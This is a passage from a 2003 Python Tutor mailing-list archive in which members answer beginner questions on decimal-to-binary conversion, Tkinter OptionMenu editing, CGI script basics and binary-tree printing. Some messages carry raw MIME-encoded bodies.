From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun  5 16:43:01 2003
Subject: [Tutor] python string __add__
References: <5.2.0.9.0.20030605122550.02f53128@66.28.54.253>
Message-ID: <3EDFA5E0.8090707@ccvcorp.com>

Bob Gailer wrote:

> At 11:00 AM 6/5/2003 -0700, tpc@csua.berkeley.edu wrote:
>
>> I have a script that will take decimal numbers of any length as command
>> line arguments and output the binary equivalent. [...]
>
>
> This program generates Binary Coded Decimal, not Binary. Getting 
> spaces is an effect of the print statement.


Just to expand a bit on what Bob said (he's quite right), this program 
is not going to generate proper binary representations.  As an example, 
the number 13 is '1101' in binary, but your program will represent it as 
'0001 0011'.  It'll be even more confusing after you fix the space 
issue, because binary '00010011' is 19 decimal.

You cannot do a digit-wise conversion of decimal to binary and have it 
work out right.  You *can* do a digit-wise conversion of hexidecimal to 
binary, though -- it works because 16 is a power of 2, but 10 is not. 
 So, if you want a true binary representation of the number, there's two 
approaches.  You'll need to convert your command-line argument to a 
long, either way (Python longs can hold numbers of arbitrary length). 
 Then, you can either start dividing by two and collecting remainders to 
convert that long directly to binary, or you can convert the long into a 
hexidecimal string, chop off the leading '0x', and then use a 
dictionary-based digit-wise conversion (like you're trying to do above).

As Bob mentioned, the spaces that you're getting are coming from print, 
not anything you're doing to the string.  The output of a print 
statement will always end in either a newline or (if a comma is used) a 
space.  There's several alternatives, but the most straightforward is to 
gather each cluster of bits into a single variable.  The easiest way to 
do this is by append()'ing to a list, and then join()'ing that list when 
you're done to get a single string.

Jeff Shannon
Technician/Programmer
Credit International




From alan.gauld@blueyonder.co.uk  Thu Jun  5 19:58:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun  5 18:58:02 2003
Subject: [Tutor] Tkinter OptionMenu question
References: <3EDF632B.20105@llnl.gov>
Message-ID: <008901c32ba3$7c5ae0a0$6401a8c0@xp>

> I was wondering if anyone here knows how to change the items in a 
> Tkinter OptionMenu after it's initial creation.  I am using the 
> following code to create the menu initially:

First its not a Tkinter component its a PMW component!(I got very
confused till I figured that out...). 

Second the method you want is 

setItems(items,index=None)

So you can pass in a new list of items(or a modified 
version of the original). THe docs are ambiguous about the role 
of index, but it may be that if you specify an index value you 
can replace a specific item, but I'm not certain...

Source: John Grayson's book "Python and Tkinter Programming"

HTH,

Alan G.



From idiot1@netzero.net  Thu Jun  5 20:00:03 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Thu Jun  5 19:00:03 2003
Subject: [Tutor] Creating your first CGI-script
References: <006101c32b7b$b87011f0$a44c73d5@sigrunnk2wh18t>
Message-ID: <3EDFB21F.4040705@netzero.net>

ok. For a script to include output IN a web page, you have to invoke it with a tag in 
the page. The server has to LOOK for suc h tags in the web page. You can tell it to 
parse ALL pages, or to parse pages with a particular name, typically '(name).shtml'. 
This let's it same a little time by NOT looking for tags in pages where you did not use 
them. .html for them what don't, shtml for them what did.

ASSUMING you are running apache as the web server, here is the link to the Apachi ssi 
tutoral:
http://httpd.apache.org/docs/howto/ssi.html


This tag looks like:
         <!--#include virtual="/cgi-bin/counter.pl" -->

You can also use ssi to include intresting information that is NOT a script.

Now, some pages are ENTIRELY the output of a cgi script. Here is an example of such a page:
	http://www.tinylist.org/cgi-bin/TLmastermenu.py

THE ENTIRE PAGE was created by a script, from soup to nuts.


When you write a script, you need to do something very important; you have to tell it 
how to be a program.

Scripts are not executable machine language; they are INTERPETED by another program, 
that reads them and 'does something appropriate' in response  to each line in the 
script. If you ever wrote a program in BASIC, you were probably using an INTERPETER. 
Python is basically a interpeted language. You also can write scripts for the sh shell 
in unix, and batch file scripts for MS-DOS/Windows. With unix shell scripts and perl and 
python, you have to tell the thing what program will interpet it- batch files are a bit 
different. This is done in the VERY FIRST LINE, which we nickname a 'shebang'. It looks 
like a comment, but it's not:

#!/usr/bin/python

is an example shebang. After the '#!', you have to provide the path to python in your 
computer, and the name of python's interpeter program ('python'). MAKE SURE the path in 
YOUR shebang really points at YOUR python, DO NOT just copy that example I just typed out.

In a shell script, it's the same. It would be

#!/usr/sbin/sh

ASSUMING that was where your 'sh' shell lived.

A script has to be executable. In unix, this means turn the X bit on, with the chmod 
command.

ns# chmod +x helloworld.py

Would do it nicely.

WEB scripts whould be in the web cgi-bin, which is under the web directory where your 
web pages live. As any script here can probably be run by ALL THE WORLD, you want to 
keep anything real sensitive and dangerous OUT OF HERE.

When a browser wants to invoke a program, it includes it in the url. For instance, look 
at that url for the menu I typed out:

http://www.tinylist.org/cgi-bin/TLmastermenu.py

The url is providing a domain name, a path under the web page, and the name of a 
program. The server executes that program, and shoots back any output it gets from it, 
if it can, and can understand it.

If the program is going to say something that needs to be displayed in the browser, you 
have to let the server know what is coming at it, or it will probably become confused 
and barf electrons all over the place. So the first thing the script
should 'say' is

print 'Content-type: text/html'	# header for the server's information!
print				# it needs a blank line to seperate the header
				# from the remaining output.

then you can print the output normally.

So now we can bang out a simple hello world script.

#!/usr/bin/python
print'Content type: text/html'
print
print 'hello world!'


And HERE is a link to the apache cgi tutoral.

http://httpd.apache.org/docs/howto/cgi.html.html#yourfirstcgiprogram

I  hope this helps. If anyone wants to jumop down my throat for this long letter. please 
have the courtesy to do it off list.




Ole Jensen wrote:
> First of all, I have no experince in web programming, but my plans are 
> to get into that sooner rather than later. So if my assumptions below 
> are hillariously wrong feel free to correct me before what I think I 
> know sticks with me :-).
> 
> I know there is more to web programming other than CGI, I just don't 
> know what (I have heard of SQL (databases?), XML (The future of the web, 
> maybe? (XHTML)), but I'm not sure that this has anything directly to do 
> with Python. So what I'm hoping you can help me with; is what I need to 
> make CGI scripts.
> I guess it's possible to create and test CGI locally (i.e. without 
> uploading it to the net). Then again does it require some server 
> software to run cgi scripts (or rather test them). I assume (from 
> reading this tutor mail 
> <http://mail.python.org/pipermail/tutor/2003-June/022841.html) >)that 
> the necesary software is included in the Python download.
> Anyway if not, I'm using Win XP and hoping you can recommend some server 
> software to use to test my CGI-scripts.
> Also, my current homepage server (through my ISP) does not support CGI, 
> so if you now of any free (as in no-cost) web hosters that support 
> Python I'ld be happy to know. I've been looking at www.freezope.org 
> <http://www.freezope.org> but they don't support cgi so I'm not really 
> sure if thats what would suit my needs, BTW what can you use their 
> service to create?
>  
> My appologies if this is trivial but to me there seems to be some 
> missing link between the python newbie section to the basic CGI 
> programming section (under tutorials)
>  
> Well I seemed to have gone on long enough for now. So thanks to anyone 
> reading this far ;-)


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From alan.gauld@blueyonder.co.uk  Thu Jun  5 20:22:35 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun  5 19:22:35 2003
Subject: [Tutor] Binary Tree Printing Woes
References: <20030605201537.GA10180@yahoo.com>
Message-ID: <001101c32ba8$16b47090$6401a8c0@xp>

> end. It works beautifully in the python shell, just not when I run
the
> app in my term.

I think you ate running the unctins in the shell,
not printing them....

>     print "Printing  A:", t.print_tree(a)
>     print "PreOrder  A:", t.print_preorder(a)
>     print "PostOrder A:", t.print_postorder(a)

Here you print the string then the return value from
the print functions. But the print functiond=s do their
own printing and don't retirn anything. When a function
doesn't explicitly return anything Python provides a
default of None.

Thus:

>>> def f(): pass
...
>>> print f()
None
>>>

You are seeing the None coming back from the functions.

> Bizarre, innit?

Not really :-)

> Oh, and while we're at it: how do you find the parent of a given
node?

You need to store a reference in each child(as Tkinter does
with its widgets) or alternatively wroite a function that
searches the tree for a node which has your node as a child!
I recommend storing the parent as an attribute of the Node!

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From alan.gauld@blueyonder.co.uk  Thu Jun  5 20:22:45 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun  5 19:22:45 2003
Subject: [Tutor] python string __add__
References: <20030605105701.E76787-100000@localhost.name>
Message-ID: <000301c32ba6$c564d0f0$6401a8c0@xp>

> I have a script that will take decimal numbers of any length as
command
> line arguments and output the binary equivalent.

Its probably easier to just use the mathematical algorithm for
converting numbers using repeated modulo division, however....

> spaces.  Is there a way for python string __add__ to output 
> binary digits with no spaces ?

> """ a program that takes decimal numbers of any length as
> space-delimited command line arguments and outputs binary 
> numbers separated by newline"""

I take that to mean:

foo 123456 234 98765433456789007 4

[----
 Or do you mean:

foo 1 2 3 4 5 6 7 8 9 6 7 8 3 4 7 2 1 4

I'm not sure... An example is ghood in a doc string...
---]

> dict = {
>            '0' : '0000',
>            '1' : '0001',
etc
>            '9' : '1001'
>        }

BTW You have just lost the ability to convert to a dict type 
by stealing the name as a variable... probably a bad idea!


> length = len(sys.argv[1:])
> while length > 0:
>     for i in range(length):
>         w = sys.argv[-length]
>         length = length - 1

That's a complicated way of stepping through each number 
in the command string.

for w in sys.argv[1:]:

>         list1 = list(w)
>         list1.reverse()
>         length2 = len(list1)
>         while length2 > 0:
>             for i in range(length2):
>                 w = list1[length2 - 1]  # w = list1[-1]??
>                 length2 = length2 - 1

I *think" this just reads the characters (digits) in reverse order. 
But since you already reversed the list why not miss all the hassle 
and just read them in normal order:

       for i in w:

> #                x.__add__(dict[w])

You should never call a python operator function like that. 
You probably should do something like:

x = x + dict[w]

>                 x = dict[w]

This will convert your numbers into binary coded decimal not true 
binary. ie you are simply converting each digit into its binary 
equivalent and concatenating them.

eg

decimal      BCD         binary
8            1000        1000        OK so far
15           00010101    1111        Oops!

None of that actually answers your question about string 
concatenation!

Try:

s = "%s%s" % (string1,string2)
OR
s = string1 + string2

s will contain the two strings joined together with no spaces.

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From jyllyj@gcom-cn.com  Thu Jun  5 20:44:38 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Thu Jun  5 19:44:38 2003
Subject: [Tutor] chinese japanese korean in python2.2.3
References: <002501c32b75$13bb35f0$334c70dc@homeu0a59ztmqs>
Message-ID: <004101c32bb6$2853f920$334c70dc@homeu0a59ztmqs>

QlRXOmFsbCB0aGlzIGNhbiB3b3JrIHdpdGggc2FtZSB3YXkuDQoNCg0KDQo+IGknZCBwb3N0IGNo
aW5lc2UgdG8gcHl0aG9uIHRraW50ZXIncyB3aWRnZXQgd2hpY2ggZWRpdCBzaXRlLnB5IC5yZXBs
YWNlIGRlZmF1bHQgZW5jb2RpbmcgImFzY2lpIiB0byAidXRmLTgiDQo+IG1heWJlIHRoYXQgaXMg
bm90IGdvb2QgaWRlYSBpIHRoaW5rLiBoYXMgYW5vdGhlciBnZW5lcmFsIHdheSB0byBkZWFsIHdp
dGggY2hpbmVzZSBhdCBub3cgKHB5dGhvbjIuMi4zKT8NCg0K





From SWidney@ci.las-vegas.nv.us  Thu Jun  5 21:30:02 2003
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Thu Jun  5 20:30:02 2003
Subject: [Tutor] python string __add__
Message-ID: <0E5508EBA1620743B409A2B8365DE16FDC85F9@sovereign.ci.las-vegas.nv.us>

> Then, you can either start dividing by two and collecting 
> remainders to convert that long directly to binary

Ah, I hear whispers of 'recursion' -- I cannot pass that up!  Please take a
look at this function definition:

#####
def decimalAsBinary(number):
    bits = []
    def get_bits(number):
        new_num, bit = divmod(number,2)
        bits.append(bit)
        if new_num > 0:
            get_bits(new_num)
    get_bits(number)
    result.reverse()
    print ''.join([str(bit) for bit in bits])
    return bits
#####

After reading Jeff's reply, I played with divmod() for a while and put this
together. It works: it prints a string representation of the binary
equivalent of the decimal number and returns a list of the ones and zeroes
therein.

However, it's ugly. I'd been looking for an excuse to try some of the new
features of the language (i.e. nested definitions). I think this could be
improved upon, but my brain is too addled to continue. Please pick it apart.


Scott



From abli@freemail.hu  Thu Jun  5 22:03:03 2003
From: abli@freemail.hu (Abel Daniel)
Date: Thu Jun  5 21:03:03 2003
Subject: [Tutor] Tkinter OptionMenu question
In-Reply-To: <3EDF632B.20105@llnl.gov>
References: <3EDF632B.20105@llnl.gov>
Message-ID: <20030605192544.GA2235@hooloovoo>

On Thu, Jun 05, 2003 at 08:35:07AM -0700 Neil Hodge (hodge3@llnl.gov) wrote:
> I was wondering if anyone here knows how to change the items in a 
> Tkinter OptionMenu after it's initial creation. 

After a quick scan of the tkinter source, I think modifying the list
isn't really supported.

> I have tried everything that I can think of (after reading all of the 
> docs I could find), but nothing works.  Any ideas?  Thanks.

A quick & extremly hackish workaround would be to create another
OptionMenu, with the new options and place it at the same place.
(something like old_menu.grid_forget() and new_menu.grid() could work,
provided you pass the same parameters (row, column, etc.) to
new_menu.grid() ). (This method is so ugly, I don't know why I mentioned it.)

The _real_ solution however, is to 'fix' OptionMenu to allow
modification of the list.
At first i wanted to describe who to do this by subclassing OptionMenu, but
it turns out I'm better at writing code than describing how to write code...
So here it is:

----8<----

import Tkinter

class EditableOptionMenu(Tkinter.OptionMenu):
    """OptionMenu which allows editing of menu items
    
    Differences between this and Tkinter.OptionMenu:
      1) insert_option() and delete_option() methods
      2) self.menu, self.variable, self.callback exposed (as we need them to add
         menu items later) (last 3 lines in __init__ )
      3) some names changed from foo to Tkinter.foo, in __init__
         as we do "import Tkinter"

    By Abel Daniel, under the same licence as Tkinter. (As code was
    copyed from there.)
    """
    def __init__(self, master, variable, value, *values, **kwargs):
        """copy-paste-modified from Tkinter.OptionMenu, works the same way"""
        kw = {"borderwidth": 2, "textvariable": variable,
              "indicatoron": 1, "relief": Tkinter.RAISED, "anchor": "c",
              "highlightthickness": 2}
        Tkinter.Widget.__init__(self, master, "menubutton", kw)
        self.widgetName = 'tk_optionMenu'
        menu = self.__menu = Tkinter.Menu(self, name="menu", tearoff=0)
        self.menuname = menu._w
        # 'command' is the only supported keyword
        callback = kwargs.get('command')
        if kwargs.has_key('command'):
            del kwargs['command']
        if kwargs:
            raise TclError, 'unknown option -'+kwargs.keys()[0]
        menu.add_command(label=value,
                 command=Tkinter._setit(variable, value, callback))
        for v in values:
            menu.add_command(label=v,
                     command=Tkinter._setit(variable, v, callback))
        self["menu"] = menu
        
        self.menu=menu
        self.variable=variable
        self.callback=callback
        
    def insert_option(self, index, text):
        """Insert an option to the menu.
        Handling of index is the same as in Tkinter.Menu.insert_command()
        """
        self.menu.insert_command(index, label=text,
            command=Tkinter._setit(self.variable, text, self.callback))

    def delete_option(self, index1, index2=None):
        """Delete options the same way as Tkinter.Menu.delete()"""
        self.menu.delete(index1, index2)

    def change_option(self, index, new_text):
        """Change to new_text
        Bug: doesn't change the selection if the currently selected option
        is changed, fixing this is left as an exercise to the reader"""
        self.menu.entryconfigure(index, label=new_text,
            command=Tkinter._setit(self.variable, new_text, self.callback))



if __name__ == '__main__':
    r=Tkinter.Tk()
    strvar = Tkinter.StringVar()
    test = ("none", "item1", "item2", "item3")
    strvar.set(test[0])
    om = EditableOptionMenu(r, strvar, *test)
    om.pack()

    om.insert_option(4, 'item4')
    om.delete_option(2)
    om.change_option(0, 'baz') # this nicely exposes the bug :)
    r.mainloop()

----8<---------------------

A bit of commentary: the options are added in __init__, at the
"for v in values:" loop. For adding options later, we have to store
enough information to allow doing what the loop does later, i.e. we
need to store menu, variable, callback somewhere.

As this way we expose the underlying Menu more, we could add extra
features, like adding separators, other menu options (submenus) in the
drop-down list. (I didn't try this, but it might work with a bit of hacking.)

Abel Daniel
abli@freemail.hu


From nas-pytut@python.ca  Thu Jun  5 23:35:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Thu Jun  5 22:35:02 2003
Subject: [Tutor] python string __add__
In-Reply-To: <0E5508EBA1620743B409A2B8365DE16FDC85F9@sovereign.ci.las-vegas.nv.us>
References: <0E5508EBA1620743B409A2B8365DE16FDC85F9@sovereign.ci.las-vegas.nv.us>
Message-ID: <20030606023608.GA14058@glacier.arctrix.com>

Scott Widney wrote:
> However, it's ugly. I'd been looking for an excuse to try some of the new
> features of the language (i.e. nested definitions). I think this could be
> improved upon, but my brain is too addled to continue. Please pick it apart.

Here's (arguably) a cleaned up version:

    def d2b(n):
        if n == 0:
            return '0'
        bits = []
        while n:
            n, bit = divmod(n, 2)
            bits.append(str(bit))
        bits.reverse()
        return ''.join(bits)

Cheers,

  Neil


From willblake@wanadoo.fr  Fri Jun  6 05:39:02 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Fri Jun  6 04:39:02 2003
Subject: [Tutor] Is the list working?
Message-ID: <NBEHJBEKFMHNFJKOHIOAAEAKCJAA.willblake@wanadoo.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0031_01C32C18.3C01E420
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi
All is in the title. I'm quite worry coz
I've got no news from the list since yesterday
Is it normal or have I a problem with my mail box?
Thanx

------=_NextPart_000_0031_01C32C18.3C01E420
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN=20
class=3D310593808-06062003>Hi</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN =
class=3D310593808-06062003>All=20
is in the title. I'm quite worry coz</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN =
class=3D310593808-06062003>I've=20
got no news from the list since yesterday</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN =
class=3D310593808-06062003>Is=20
it normal or have I a problem with my mail box?</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN=20
class=3D310593808-06062003>Thanx</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0031_01C32C18.3C01E420--



From tutor@python.org  Fri Jun  6 05:47:02 2003
From: tutor@python.org (Chimp)
Date: Fri Jun  6 04:47:02 2003
Subject: [Tutor] Binary Tree Printing Woes
In-Reply-To: <001101c32ba8$16b47090$6401a8c0@xp>
References: <20030605201537.GA10180@yahoo.com> <001101c32ba8$16b47090$6401a8c0@xp>
Message-ID: <20030606104936.GA2120@yahoo.com>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030605 22:19]:
> >     print "Printing  A:", t.print_tree(a)
> >     print "PreOrder  A:", t.print_preorder(a)
> >     print "PostOrder A:", t.print_postorder(a)
> 
> Here you print the string then the return value from
> the print functions. But the print functiond=s do their
> own printing and don't retirn anything. When a function
> doesn't explicitly return anything Python provides a
> default of None.
> 
> Thus:
> 
> >>> def f(): pass
> ...
> >>> print f()
> None
> >>>
That was a great explanation and a very neat example! But how come the
print_tree() function - which ALSO returns None works just dandy?! I
tried - just for the sheer heck of it - to change change the "return
None" to "pass" - and even "break" when I got *really* desperate. "Pass"
had the exact same effect. I won't even tell you what "break" did. :o)

    def print_tree(self, node):
        if node is None:
            pass
        else:
            self.print_tree(node.left)
            print node.data,
            self.print_tree(node.right)


    def print_postorder(self, node):
        if node is None:
            pass
        else:
            self.print_postorder(node.left)
            self.print_postorder(node.right)
            print node.data,

> You are seeing the None coming back from the functions.
But how do I rewrite the function so make the "print" ignore it? I tried
this, but alas, it had the same effect:

    def print_postorder(self, node):
        if node is None: return None
        self.print_postorder(node.left)
        self.print_postorder(node.right)
        if node.data: print node.data,    <---


>> Bizarre, innit?
> Not really :-)
Actually, now it's getting downright SPOOKY! ;o)

>> Oh, and while we're at it: how do you find the parent of a given node?
> You need to store a reference in each child(as Tkinter does
> with its widgets) or alternatively write a function that
> searches the tree for a node which has your node as a child!
> I recommend storing the parent as an attribute of the Node!
DAMN, I *knew* it. Freaky how none of the tuts out there mentioned
anything about either way, but now that you mention it it just seems too
logical. DOH (*slaps forehead*). The first should be easy: I did
actually manage to get a function working that returns the children and
I have 2 sexy search functions to boot. But I like your parent-reference
idea mucho better. 

Thanks for taking the time, Alan! I'm gonna post my entire tree library
for the other newbies once I've solved the printing-problemo and added
3-4 other handy functions which will be possible now that I have a
chance at the get_parent() thingy.

See ya'!

-- Chimp
-- 
                            o      _     _         _
------- __o       __o      /\_   _ \\o  (_)\__/o  (_)        -o)
----- _`\<,_    _`\<,_    _>(_) (_)/<_    \_| \   _|/' \/     /\\
---- (_)/ (_)  (_)/ (_)  (_)        (_)   (_)    (_)'  _\o_  _\_v
Don't Drive And Pray - Listen To InfidelGuy.com And Rock Your Mind


From knguyen@seri.co.uk  Fri Jun  6 05:51:01 2003
From: knguyen@seri.co.uk (Khai Nguyen)
Date: Fri Jun  6 04:51:01 2003
Subject: [Tutor] how to learn programming,and how to use python as the first one u program?
Message-ID: <341710540F08E34498A057DEE04DAAD70D4B2F@ex1.seri.co.uk>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C32C08.377F0783
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

you can go to python.org.  There are a lot of free tutorials.  Very helpful=
 for start.
=20
*	http://www.ibiblio.org/obp/thinkCSpy/ <http://www.ibiblio.org/obp/thinkCS=
py/>=20
and here are more good tutorials
http://directory.google.com/Top/Computers/Programming/Languages/Python/FAQs=
,_Help,_and_Tutorials/
=20
if you prefere to learn frrom a book, have a look at this link
http://web.ask.com/redir?bpg=3Dhttp%3a%2f%2fweb.ask.com%2fweb%3fq%3dpython%=
2bbook%2btutorial%26o%3d0&q=3Dpython+book+tutorial&u=3Dhttp%3a%2f%2ftm.an.a=
sk.com%2fr%3ft%3dan%26s%3da%26uid%3d07BCEC75E7BBBDDE3%26sid%3d17944DADA2825=
0EE3%26qid%3d76064D8E49FEC94F9AFF4BD97FB30F0C%26io%3d3%26sv%3dza5cb7902%26a=
sk%3dpython%2bbook%2btutorial%26uip%3d51908ce2%26en%3dte%26eo%3d-100%26pt%3=
dBook%2bReviews%253a%2bThree%2bbooks%2bon%2bPython%26ac%3d6%26qs%3d0%26pg%3=
d1%26u%3dhttp%3a%2f%2fwww2.linuxjournal.com%2flj-issues%2fissue73%2f3851.ht=
ml&s=3Da&bu=3Dhttp%3a%2f%2fwww2.linuxjournal.com%2flj-issues%2fissue73%2f38=
51.html.
=20
Don't worry about linux, unix and your system is not.  Python works across =
plattform.
=20
=20
Have fun
=20
=20
I have this one=20
The Quick Python Book
Daryl Harms and Kenneth McDonald <http://www.manning.com/Harms/index.html#a=
uthor>=20

October 1999, Softbound, 444 pages
ISBN 1884777740

=20
=20

	-----Original Message-----
	From: wei huang [mailto:pythonhuangwei@yahoo.com.cn]=20
	Sent: Sunday, May 18, 2003 3:23 PM
	To: tutor@python.org
	Subject: [Tutor] how to learn programming,and how to use python as the fir=
st one u program?
=09
=09
	i am a new learner, even do not have much knowledge in C & C++
	i will be very appreciated if some one tell me which book i should read
	ps:this is my first mail in the mail list,thanks all

=09
=09
  _____ =20

	Do You Yahoo!?
	"=CF=E0=BC=FB=B2=BB=C8=E7=C1=C4=CC=EC!=B2=BB=B3=F6=C3=C5=D2=BB=D1=F9=C3=E6=
=B6=D4=C3=E6=A3=A1=CD=F8=C2=E7=C9=E3=CF=F1=CD=B7=B6=D4=B6=D4=C5=C9=CB=CD=D6=
=D0~=B8=CF=BF=EC=D3=C3=C4=E3=B5=C4=D1=C5=BB=A2=B5=E7=D3=CA=D5=CA=BA=C5=B2=
=CE=D3=EB=B0=C9=A1=AD=A1=AD <http://cn.rd.yahoo.com/mail_cn/tag/?http://cn.=
messenger.yahoo.com/>=20

=00=0D=00=0A=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=
=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00=0D=
=00=0A
------_=_NextPart_001_01C32C08.377F0783
Content-Type: text/html; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Message</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dgb2312">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN class=3D546253208-06=
062003>you=20
can go to python.org.&nbsp; There are a lot of free tutorials.&nbsp; Very=
 helpful for start.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D546253208-06062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT><SPAN class=3D546253208-06062003>
<LI><A href=3D"http://www.ibiblio.org/obp/thinkCSpy/"><FONT face=3DArial=20
size=3D2>http://www.ibiblio.org/obp/thinkCSpy/</FONT></A></LI></DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
ze=3D2>and=20
here are more good tutorials</FONT></SPAN></DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
ze=3D2><A=20
href=3D"http://directory.google.com/Top/Computers/Programming/Languages/Pyt=
hon/FAQs,_Help,_and_Tutorials/">http://directory.google.com/Top/Computers/P=
rogramming/Languages/Python/FAQs,_Help,_and_Tutorials/</A></FONT></SPAN></D=
IV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
ze=3D2>if you=20
prefere to learn frrom a book, have a look at this link</FONT></SPAN></DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
